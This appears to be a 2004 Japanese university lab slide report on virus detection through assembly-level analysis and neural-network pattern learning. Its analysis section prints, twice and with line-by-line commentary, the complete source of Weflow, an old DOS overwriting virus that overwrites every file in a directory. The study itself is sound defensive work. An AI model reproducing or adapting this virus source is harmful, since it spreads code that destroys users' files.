2004 Fall. Term Report Immune Project Project Menber D1 Kensuke Naoe <[email protected]> B4 Hidekazu Tanaka <[email protected]> B3 Hitoshi Nakai <[email protected] B3 Takayouki Hotta <[email protected]> B2 Kjiro Shimoe <[email protected] Copyright © 2005 INAS Lab. 目次 • Immune Projectの目的(堀田) • アセンブラの基礎(下江) • アセンブラでのウイルス解析(堀田) • ウイルス検出方法の調査(中井) • 論文発表(田中) • 展望(田中) • 謝辞(中井) • 質疑応答(全員) Copyright © 2005 INAS Lab. Immune Projectの目的 • ウイルスの巧妙化 – ステルス型 – ポリモフィック型 – メタモフィック型 • 従来の検出手法 – パターンマッチング – ヒューリスティック手法 • 新しい手法の提案 – アセンブラレベルでの解析 – パターン学習による解析 Copyright © 2005 INAS Lab. アセンブラの基礎 • • • • • アセンブラ言語とは? アセンブリ言語の表し方 マシン語命令群その1 その2 その3 Copyright © 2005 INAS Lab. アセンブラとは? • アセンブリ言語はプログラミング言語の一種 – コンピューターが唯一理解できるのはマシン語だが、 そのマシン語を人間に理解できるようにしたものがプ ログラミング言語。 • アセンブリ言語が他の言語と違う点 – javaやc言語など他の言語はマシン語と一対一に対応し ていないが、アセンブリ言語はマシン語と一対一に対 応している。 • キーワード – ニーモニック – オペコード – オペランド Copyright © 2005 INAS Lab. アセンブリ言語の表し方 • ニーモニック – マシン語には一つ一つ記号が割り振られていて、その 記号のことをニーモニックと呼ぶ。ex) mov al 02h – ニーモニックはオペコードとオペランドと呼ばれる二 つの部分に分けることができる。 • オペコード(主命令) – データ転送やジャンプなどの命令を下す部分。 – 上記の例ではmov がそれにあたる。 • オペランド(対象となる相手、条件、パラメータ) – レジスタやアドレスなど命令の対象となる部分。上記 の例ではal 02hがそれにあたり、このオペランドによっ て対応するマシン語が変わる。 Copyright © 2005 INAS Lab. マシン語命令その1 • データ転送命令 – レジスタとメモリとの間でデータをやりとりのための 命令 – 例 mov EAX 7E9675A1h (EAXレジスタに 7E9675A1hをロード) – レジスタ→メモリのやりとりを「ストア」、メモリ→ レジスタのやりとりを「ロード」という。 • 算術演算命令 – 四則演算や比較などをするための命令。結果がレジス タやメモリに転送される。さらに結果の状態(0や正 負など)がフラグレジスタにセットされる。 – 例) add ax 0020h axの内容に0020hを加える inc ax axの値をインクリメントする cmp eax 0030h eaxの内容と0030hを比較して 結果をフラグレジスタにセット Copyright © 2005 INAS Lab. マシン語命令その2 • ジャンプ命令 – プログラムの流れを変えるための命令。 – ジャンプ無条件と条件付きジャンプの2種類ある。 • 無条件ジャンプ – jmp アドレス指定 の形で表される。 実行されるとオフセットアドレスが特定のレジスタに ロードされ、ジャンプされる。 • 条件付きジャンプ – フラグレジスタの値を判定し、その結果によってジャ ンプの有無を決める。 • je アドレス指定 : ゼロフラグの値が1ならば指定した アドレスにジャンプ • cmp AX 005ah ja アドレス指定: 結果が大きければ指定したアドレスに ジャンプ Copyright © 2005 INAS Lab. その他のマシン語命令 • サブルーチンのコール・リターン – call サブルーチン名 • スタックのプッシュ・ポップ – push eax() • 論理演算命令 – or al 20h(alレジスタの内容とデータ20hのorをとる) • シフト・ローテート命令 – shl bl 1(blの内容を左に1つシフトする) Copyright © 2005 INAS Lab. アセンブラでのウイルス解析 • Weflow.asm – 1993年のVirus – TRIDENT OVERWRITING VIRUSがBaseになっている • OverWriting – 1992年のVirus – ウイルスと感染するファイルが実行されるたびに、このウイ ルスはホストファイルの最初64バイトをOver Writeすること によってワーキング・ディレクトリの.comファイルすべて を感染させる Copyright © 2005 INAS Lab. Weflow.asm (code) MAIN: MOV AH,4EH NOTSOCOOL: LEA DX,FF INT 21H JNC COOL RET COOL: MOV AX,3D02H MOV DX,9EH INT 21H XCHG AX,BX MOV CL,VLEN MOV AH,40H INT 21H MOV AH,3EH INT 21H MOV AH,4FH JMP NOTSOCOOL FF DB '*.*',0 DB 'WEFLOW93' VLEN EQU $-MAIN Copyright © 2005 INAS Lab. Weflow.asm (解説:MAIN) MOV AH,4EH – ahレジスタに4ehの指す内容を転送 具体的にはahレジスタに対して初回ファイル検索を行う ちなみに、この結果はCF(Cflag)の返り値を与える CF = 0:成功 CF = 1:エラー Copyright © 2005 INAS Lab. Weflow.asm (解説:NOTSOCOOL) LEA DX,FF INT 21H – dxレジスタに下で定義したFFのアドレスを転送 このときAHの値は4Eもしくは4Fであれば、“初回ファイ ル検索”or“次回ファイル検索”で4Eの時のみ、DX=ファイ ル名を含む文字列ポインタを参照、4Fでは参照しない。 検索結果はディスク転送アドレスに格納される 成功CF=0 失敗CF=1 JNC COOL RET – Cflagが降りているときに分岐する(降りているときは COOLに また、“RET”で実行していたものから戻ってくる(COOL から戻ってくる。 さらに、ここでCF=1ならばプログラムは終了する Copyright © 2005 INAS Lab. Weflow.asm (解説:COOL.1) MOV AX,3D02H MOV DX,9EH INT 21H – AXレジスタを書き出し・読み込み双方対応できるよう オープンする。 DXレジスタに9eが指す内容を転送 XCHG AX,BX MOV CL,VLEN MOV AH,40H INT 21H – AXレジスタとBXレジスタの内容を入れ替える CLにVLENの値を入れる(VLENは下で定義している) ahレジスタに書き込む Copyright © 2005 INAS Lab. Weflow.asm (解説:COOL.2) MOV AH,3EH INT 21H – ahレジスタで開いていたファイルをクローズする MOV AH,4FH – 次回ファイル検索を行う JMP NOTSOCOOL – 無条件でNOTSOCOOL(最初に規定した文字列ポインタ) の先に飛ぶ Copyright © 2005 INAS Lab. Weflow.asm (解説:FF・VLEN) DB '*.*',0 DB 'WEFLOW93‘ – 文字列をセットする EQU $-MAIN – VLENにMAINの大きさを入れるもの Copyright © 2005 INAS Lab. Weflow.asm (code) MAIN: MOV AH,4EH NOTSOCOOL: LEA DX,FF INT 21H JNC COOL RET COOL: MOV AX,3D02H MOV DX,9EH INT 21H XCHG AX,BX MOV CL,VLEN MOV AH,40H INT 21H MOV AH,3EH INT 21H MOV AH,4FH JMP NOTSOCOOL FF DB '*.*',0 DB 'WEFLOW93' VLEN EQU $-MAIN Copyright © 2005 INAS Lab. ウイルスの巧妙化 • ウイルスの巧妙化 – ステルス型 – ポリモフィック型 • プログラムコードを暗号化 • 暗号化鍵は感染の都度に変化 • 暗号化/複合化エンジン – メタモフィック型 • 感染するたびに自分自身のコードを書き換える • 様々な手法での隠匿の試み Copyright © 2005 INAS Lab. 従来のウィルスの検出 • 従来のウイルスの検出 – パターンマッチング • 文字列 • パターンの発生順序 • 特定のパターン同士の距離 ⇒対象となるウイルスのパターン定義ファイルの所持が前提 また、時間がかかる。 – ヒューリスティック手法 • 問題をすばやく解決するための手法 • 大まかな予想からあたりをつけて検索する手法 • 動的ヒューリスティックと静的ヒューリスティックがある Copyright © 2005 INAS Lab. ヒューリスティック手法 • 静的ヒューリスティック – パターンのデータベース – ウィルスの複合化のルーチンを認識 • 動的ヒューリスティック – 仮想空間上でプログラムを動かす Copyright © 2005 INAS Lab. ヒューリスティック手法 Copyright © 2005 INAS Lab. ヒューリスティック手法の問題点 • 問題をすばやく解決するための手法 ⇒検索部位とウイルスの存在する部位が違えば ウイルスが発見できない ⇒完璧ではない Copyright © 2005 INAS Lab. アセンブラレベルでの解析 • ウィルスのコードを静的に逆アセンブル →従来のヒューリスティックパターンに、さらに細かい パターンを定義することができる Copyright © 2005 INAS Lab. 動的ヒューリスティック Unknown Virus ヒューリスティックスキャンのた めのルール群データベース 静的ヒューリスティック mov dword_3,6E72654Bh mov dword_4,32336C65h 様々な角度から挙動や命令群、 アルゴリズムなどを比較 挙動のパターン アセンブラ命令パターン アルゴリズムのパター ン mov dword_5,0h push offset dword_3 call ds:[GetModuleHandleA] Copyright © 2005 INAS Lab. パターン学習による検出 • ニューラルネットワークを用いたパターン検出 • 学習結果に基づく分類判定 →さらに高い確率で未知ウィルスであると特定すること ができる Copyright © 2005 INAS Lab. 動的ヒューリスティック Unknown Virus ヒューリスティックスキャンのた めのルール群データベース 静的ヒューリスティック mov dword_3,6E72654Bh mov dword_4,32336C65h 新しい挙動パターンやアルゴリズ ム、命令の順序などがあれば データベースにパターンを学習さ せる 挙動のパターン アセンブラ命令パターン アルゴリズムのパター ン mov dword_5,0h push offset dword_3 call ds:[GetModuleHandleA] Copyright © 2005 INAS Lab. まとめ • アセンブリ言語に逆アセンブルしたコードからパター ン抽出し、学習 →検出率の向上と誤検出・誤警報の減少 Copyright © 2005 INAS Lab. 今後の展望 • 情報処理学会全国大会発表に向けて実装 Copyright © 2005 INAS Lab.
© Copyright 2024 ExpyDoc